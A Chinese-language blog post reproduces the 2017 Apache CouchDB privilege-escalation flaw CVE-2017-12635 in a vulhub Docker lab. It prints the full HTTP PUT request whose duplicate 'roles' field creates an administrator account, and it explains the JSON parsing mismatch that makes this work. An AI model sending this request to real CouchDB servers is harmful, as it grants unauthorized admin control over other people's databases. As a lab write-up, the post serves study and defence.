Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635 已亲自复现

Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635 已亲自复现

漏洞名称

漏洞描述

Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本

Apache CouchDB 1.7.0 / 2.x < 2.1.1

漏洞复现

环境搭建

vulhub链接

bash 复制代码
https://vulhub.org//#/environments/couchdb/CVE-2017-12635/

启动vulhub

bash 复制代码
docker-compose up -d 

环境启动后,访问http://192.168.63.129:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。

漏洞利用

bash 复制代码
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

返回403错误,提示 {"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色

这个时候,我们利用 Erlang和JavaScript 处理 JSON 的特性,发送包含两个roles的数据包,即可绕过限制:

bash 复制代码
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

验证是否成功

且在创建一个成功后,再重复发包,也会报错409,修改已创建的密码也不行

总结

在JavaScript在解析时会把"roles": "_admin","roles": \[\],解析为"roles": \[\]用来检测创建角色的权限,其值为空,使用PUT方法上传时服务器时检测权限为空,即可绕过安全限制,并通过使用Erlang部分实现身份验证和授权,通过getter函数返回第一个值为:"roles": "_admin",并创建具有管理员的用户wahaha:wahaha。如果攻击成功,在响应头中的状态码为201,且在响应体中返回org.couchdb.user字样,或在响应头中返回409状态码,在响应体中返回Document update conflict字样。

相关推荐
中云DDoS CC防护蔡蔡11 小时前
DDOS和CC攻击谁更可怕
运维·服务器·经验分享·网络安全·ddos
leagsoft_100311 小时前
勒索病毒扩散控制深度解析:四大扩散路径、主流方案局限与联软科技差异化实践
网络安全·零信任·内网安全·勒索病毒·微隔离·防勒索·ad域安全
砚凝霜11 小时前
保姆级 | CTF 命令执行 system($_POST[‘a‘]):直接传系统命令拿 flag(对比 eval)
web安全·网络安全
2501_9151063211 小时前
抓包抓到乱码或压缩字节怎么解析,TraceEagle五种查看模式和一键解码
网络协议·计算机网络·网络安全·ios·adb·https·udp
菩提小狗14 小时前
每日安全情报报告 · 2026-10-30
网络安全·漏洞·cve·安全情报·每日安全
文章永久免费只为良心18 小时前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
塞讯科技18 小时前
13,500 个分支被植入窃密工作流:Gheist 如何用 GitHub 令牌搬走仓库密钥
网络安全·ai·github·软件供应链安全·供应链投毒
代立冬1 天前
927 个 PR:Apache SeaTunnel 3.0.0 正式发布!AI 时代,数据集成正在迎来新的可能
人工智能·apache
学逆向的1 天前
C++ 合并命名空间
开发语言·c++·网络安全
学逆向的2 天前
C 局部静态变量
c语言·开发语言·网络安全